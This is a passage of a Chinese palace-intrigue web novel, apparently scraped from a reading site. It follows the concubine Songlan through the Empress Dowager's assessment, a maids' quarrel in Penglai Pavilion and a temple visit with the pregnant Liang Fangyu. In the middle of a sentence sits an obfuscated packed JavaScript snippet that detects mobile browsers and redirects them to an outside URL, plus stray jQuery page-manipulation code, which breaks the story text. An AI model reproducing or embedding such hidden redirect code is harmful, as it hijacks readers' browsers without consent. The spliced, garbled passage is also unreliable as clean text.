太后这才慢慢笑了,“这就是你的聪明之处了。”她挥挥手,“到哀家用素膳的时辰了。斋菜清寡,哀家便不留你用饭了。年轻姑娘多吃些好菜,养好身体,才能替皇帝开枝散叶。” 颂兰恭顺道:“谢太后。”心逸姑姑出殿唤了霜降进来,扶着颂兰起身离开。 太后的眼神在她踉跄虚软的腿上扫过,“你乘哀家的步辇回去罢。再传哀家的口谕,叫太医院送些血府逐瘀丸、紫云膏到钟粹宫。” 心姑姑和声道“是”,匆匆下去安排了。云姑姑往灯台中添了些油,问道:“太后娘娘可要传膳?” 太后皱眉道,“哀家没有胃口。”云姑姑便朝着阴影处使了个眼色。不多时,便有小太监提了描金西番莲食盒进来。云姑姑从中端出一盏红枣燕窝,恭声道: “娘娘用些燕窝吧,都熬得软烂了,好克化。” 太后披上一条素色小毯,就着云姑姑的手喝了一口,淡声道:“哀家这身子骨,究竟不比从前了。” 云姑姑道:“太后娘娘风华正茂。” 太后哂笑,“你瞧——今日来的这蕙心娘子。多么年轻,多么聪明?这一套下来连消带打,竟连哀家都算计进去了。算完了,还要刻意卖个好,表现得爱权爱财安哀家的心……哀家真有些庆幸她不在先帝的后宫。” 云姑姑迟疑道:“您不生气么?” 太后淡淡道:“哀家都做到太后了,同皇帝宫里的一个妾置什么气?左右她这些谋算,大半是为了自己,小半还是向着皇上、向着大局。就凭她能提出,叫淑妃看梁氏的胎这点——不单是把淑妃架起来,保了梁氏,便是宜贵嫔的胎,也算多了一层保障。” 见云姑姑似有不解,太后提点道:“两个孕妇,用的份例都经一个人的手,那人若要单独挑一个人下手,便显眼了。要查起来,也容易得多。梁氏与慕容氏一党,德妃应该不会动她的肚子;韩氏浅薄愚蠢,何况还做着抱孩子的春秋大梦;萧氏高傲自大,眼下更是自顾不暇。宫中有身份的主子,最有可能错了主意的便是淑妃——只要绝了这条路子,梁氏这胎便安稳多了。” 清云听太后娓娓道来,亦渐渐明白过来,不由得惊道:“蕙心娘子不过才入宫半月,老谋深算,竟好似对宫中局势心如明镜似的。” 太后抿了口燕窝,只凉薄一笑,“是啊——只怕,钟粹宫中有高人呢。” 她吩咐云姑姑,“近些日子多照应着梁氏罢。好歹教她把孩子平稳生下来。”她疲惫地揉了揉眉心,“这蕙心娘子有一句话,才是真真儿说到了哀家的心坎上——” 太后唇边的笑意轻得好似天边碎散的流云,“后宫里头,谁的孩子,都是皇后的孩子。” 26. 祈福 太微宫,蓬莱阁。 宫女立夏匆匆行过来,却在厅门口的垂花珠帘处驻了脚步。 那帘子均由米粒大小、晶莹剔透的琉璃珠子串成,好似霏霏雨幕,端的是清逸如仙。可立夏却在这仙阁外头踟蹰着,一时并不敢进去。 就在她犹豫的当口,里头却先出来了个端着茶盘的青装宫女。那女子走得很快,手中的木盘差点儿撞到了立夏胸前。青衣女子“哎哟”一声,忙扶稳了托盘上的茶具,又诧异地望了立夏一眼,“怎的这时辰才回来?” 立夏犹豫道:“立秋姐姐,小主让我去打探打探太后娘娘那边的情况。蕙心娘子被罚站了半日,这会儿才出慈宁宫呢。” 被唤作立秋的宫女眉毛一扬,“这消息小主听了应当高兴罢?毕竟前头那回……可是钟粹宫得了脸,小主却无故受了罚。这都多长时间了,还不痛快着呢。” 立夏的眉毛本就有些向下耷拉,此刻深深拧起眉,便登时露出了一副深浓的苦相,“嗳,可不是么!要真是蕙心娘子受了罚,我何至于在这儿顿着呢?”她扯着嘴角,“也不知那蕙心娘子给太后娘娘灌了什么迷魂汤,在慈宁宫门口吃了半日的闭门羹,进去一趟,回来时竟是乘着太后娘娘的步辇走的!” 立秋亦是一惊,“吓,好大的体面!” 忙将手中的茶盘又搂紧了些,凑到立夏近前,低声问道:“那蕙心娘子走的时候,是哭是笑哇?” 立夏面上挂着浓浓的忧愁,“据说笑得比花儿还艳呐!除了这步辇,太后娘娘还赏了钟粹宫上好的伤药、黄金十两、珍珠一斛,可够她乐一阵了。” 立秋咋舌,“嗐,那可真是实打实的实惠。小主们在宫中行走最缺的便是银子,有了这般油水,恐怕钟粹宫的日子过得比咱们常在还滋润呐。” 她话音还未落,身后便重重挨了一掌。立秋本端着茶盘,上头搁着成套的青花灵芝纹茶具,被这么一搡,顿时稀里哗啦地砸了满地,里头半热的剩茶也尽数泼出来,淋了立秋同立夏一身。 立秋痛呼一声,立夏便看到那帘子后头闪出一个高挑的女子,正是跟随容常在进宫的贴身侍婢锦瑟。因着是小主带进宫的大婢子,虽无品级,蓬莱阁上下亦以她为尊。 锦瑟“啐”了一口,冷冷道:“是平素给你们派的活太少了么,竟有空聚在这说嘴,不干不净,连小主也议论了进去。” 因着这些时日容常在心情不爽,对宫女太监们不是冷脸便是辱骂。蓬莱阁的宫人们侍奉着时亦是大气不敢出,生怕触了主子的霉头。 立秋亦憋了几日,她同霜降同批入宫,是取名从节气的大宫女,分到蓬莱阁来本是做掌事的。容常在进宫时便带了锦瑟锦弦,挤了她的位置便罢了,如今不止小主,竟连这两个没皮没脸的家生婢子都敢给她脸色看了!立秋不由得怒从心起,连日来的憋闷顷刻爆发出来。 她并未出言顶撞锦瑟,只冷笑道: “锦瑟姐姐小心些罢!这青花茶具也是小主库房里数得上的好东西了。如今就这么白白摔了——也幸亏小主近日受着罚,不常迎客。否则来个小主、娘娘的,蓬莱阁还真没套体面东西招待人家!” 说罢一拧腰,也不管锦瑟在后边咬牙切齿、如何叫骂,只远远地甩下来一句:“不比人家手上银钱宽裕,就莫做些摔摔打打的事。跌份儿不说,左右奴婢们是贱惯了,只不知小主能不能受得了那粗茶淡饭、泥瓷胎碗的苦日子!” 锦瑟被气得胸口剧烈起伏,却奈何不得立秋,只好狠狠剜了一眼面前瑟缩着的立夏,“还不将这些垃圾收拾了!” 屋内,容常在直挺挺地坐在美人榻上,手中捏着一个绣了一半的帕子。她双手用力得骨节泛白,不想“啪”的一声,那绣绷竟被生生折断了。 锦弦本在一旁随侍,见小姐这般,顿时心疼道:“小主,那起子奴才浑说话,您莫往心里去。” 容月双手交叠搭在膝上,恨道:“宫中拜高踩低,如今我也算见识了。” 锦弦道:“小主当时受萧昭仪之命操持端午节粽一事,处处小心。官家女儿哪懂庖厨之事,那骆尚食对小主格外殷勤,多有指点,亏咱们还以为她是个热心肠的……” 锦弦声音愈说愈低,“可宫中哪儿有好人呢。” 容月冷冷一笑,“是啊。原是咱们大意了……树欲静而风不止。”她脸上的神色沾染了些许落寞,正如天边清冷憔悴的月光,“如今我已失了圣心,该想些旁的法子了。” 她眸中划过一丝冷戾,对锦弦道:“当初进宫时,祖母不是给我备了些书画孤品么?你去替我拾掇出来。这东西换不了银钱,却也并非全无所用。” …… 那边厢,颂兰回到了钟粹宫,安桂等人已在西配殿恭候着了。 宫中大小殿宇,并不全都有名有姓。像钟粹宫的偏殿便并未取名,只称东配殿、西配殿。 乔迁新居,众人这几日皆忙着收拾布置。西配殿虽算不上奢华,到底也比逼仄的浣花坞宽敞气派多了。宫女们勤快,将殿内打扫得窗明几净。 进门右手博古架下的酸枝木桌上摆着一盏琉璃花觚,色泽莹润如玉,已是擦拭一新。瓶中插着一束尾季的月季,秾丽灼艳,散发着开至极盛的荼靡香气。 偏厅桌前坐着一个丽人,身形匀称,只一张俏脸上染着些许憔悴,正是梁宝林。 她在此等候多时,手中握着一盏放凉了的牛乳。一见颂兰,忙问: “太后怎么说?” 颂兰长出一口气,“这一关算是勉强过了。” 梁芳玉顿时脱力般松了肩膀,“你半天不回来,可吓死我了。”又生硬道:“我可不是担心你,” 她一扬脸,身后的红玉端出一个托盘,上头锦绣珠翠,流光溢彩,煌然闪烁。 红玉福身,介绍道:“小主,这里是红珊瑚五色珠多宝钗、擦金料器珠花、八宝琉璃手串、浮光锦、鱼纹缎,都是我们小主从娘家带进宫的体己首饰。” 梁宝林撇撇嘴,“宫里娘娘们赏人的首饰大多不合用,样式也老。这些你尽拿去用吧,不比内造的工艺差。”说罢见颂兰神色只是淡淡,又有些不痛快,道: “喂,你怎的一点儿表示也没有?” 颂兰恍然。前世她做到皇贵妃,确实也见识了无数富贵锦绣。皇帝是个浪漫性子,连夜明珠、鲛绡衣这样只存在于传说中的奇珍亦想办法搜罗了给她。荣极之时,她日常用度靡费,甚至比肩古时的赵飞燕、小周后。 然浮华一梦,终究是被她亲手断送了。颂兰不禁轻轻寒战,回过神来,只随口道: “我见识少,分不出东西的好坏。你送的,自然是好的。” …… 当夜,太后派来的太医便漏夜进了钟粹宫。一个月后,梁宝林在一次晨省上宣布了自己有孕的消息,当日便被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449325|167386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晋为从六品才人。 不比宜贵嫔升位的隆重,只一道口谕,送了些礼,便完成了位分的晋升。 而时光倏忽流逝,六月廿三,还有五日便是淑妃二十五岁的芳辰,亦是宜贵嫔行册封礼的日子。 颂兰一早便带着预备给淑妃的生辰礼,前往了宝华殿。 宝华殿不在东西六宫辖禁,而是单独辟出的一座恢弘殿宇,更靠近太妃太嫔们所在的永安宫。进殿正中央供奉着一座高逾百尺的如来佛金身,菩萨、罗汉左右胁侍,跏趺莲座,宝相庄严。 殿内垂挂着无数金线绣制的祈福香囊,错杂在幢幢的经幡间。每当殿门洞开,有风吹过时,那累累垂下的流苏璎珞便随风轻轻摇摆。 颂兰方一进殿,却看到面前蒲团上已跪了个人,正福身虔诚行礼。那女子身穿一条浅黄色绣锦鲤宫裙,跪完,便将手中字条放入香囊之中,正是梁芳玉。 听到脚步声,梁才人蓦地回头,见是颂兰,讶然道:“你怎的也来了?” 颂兰道:“淑妃生辰快到了。我没甚么好的礼送,便想着绣个香囊,也算是心意。听说今儿是吉日,便想着把东西带过来,若能在佛前开过光,也算拿得出手了。” 梁芳玉把那香囊接过去细细看了,不由得赞道:“你这手绣艺不比宫中的绣娘差了。” 颂兰浅笑,“不过是小玩意。你若喜欢,我再绣个送你便是了。” “你一下子这么好,我有点不适应。”梁才人微怔,“你不会在里头下毒吧?” 颂兰嗤笑,“我要想害你还用得着这么低劣的手段?” 梁才人鹌鹑似的缩了缩脖子,又恬不知耻地凑上来撒娇道:“早知你有这本事,便叫你绣个祈福的香囊给我带来挂了。” 她将手中紫色的福袋递给颂兰看,“喏,我觉得这手艺还不如你的。” 香囊还未抽紧绳子,里头露出一张字条。颂兰取出来一看,是张祈福小笺,上书“长命富贵,母子康全”八字。 梁才人脸一红,“这是我写给未出世孩儿的。你可别怪我俗。” 颂兰道:“健康富贵乃是世间众人所求,哪有俗气一说。何况在宫中立身,平安亦非易事。” 梁才人一时也有些慨然,只默默将字条放进香囊,又添了盏大海灯,叫法师来把福袋高高挂起。颂兰又把那只绣蝶恋花的香囊交给大师开了光,二人便絮絮闲话着,结伴往钟粹宫回去。 见梁才人精神尚好,步伐矫健,颂兰不由得有些奇道: “你在宫正司不是挨了板子么。怎的我瞧着你行走无碍,今日挂那香囊时动作也利索得很。” 梁才人道:“嗐,你可知这宫中处刑也有门道——负责打板子的太监们,要受两种训练。” 她伸出一根手指比划着,“将薄如蝉翼的宣纸置于豆腐之上,一种板子,要打得豆腐稀烂而宣纸不破;另一种呢,则要打得宣纸尽碎,而豆腐不烂。” 梁芳玉故作老成地长叹一声,“本小主什么也不精,唯独家财万贯。只要银子够数,伤也只伤在皮肉上。”她心有余悸地伸手抚上肚皮,,“哎,要不是有银钱通融,怎么的也得伤筋动骨一百天。这也便罢了,我腹中的孩儿……” 二人行走到寄畅园地界,夏花丛丛盛开,艳丽斑斓。冷不防身后传来一道冷冷的女声: “这般丑事,怎的梁才人不以为耻,反还在此宣扬呢?”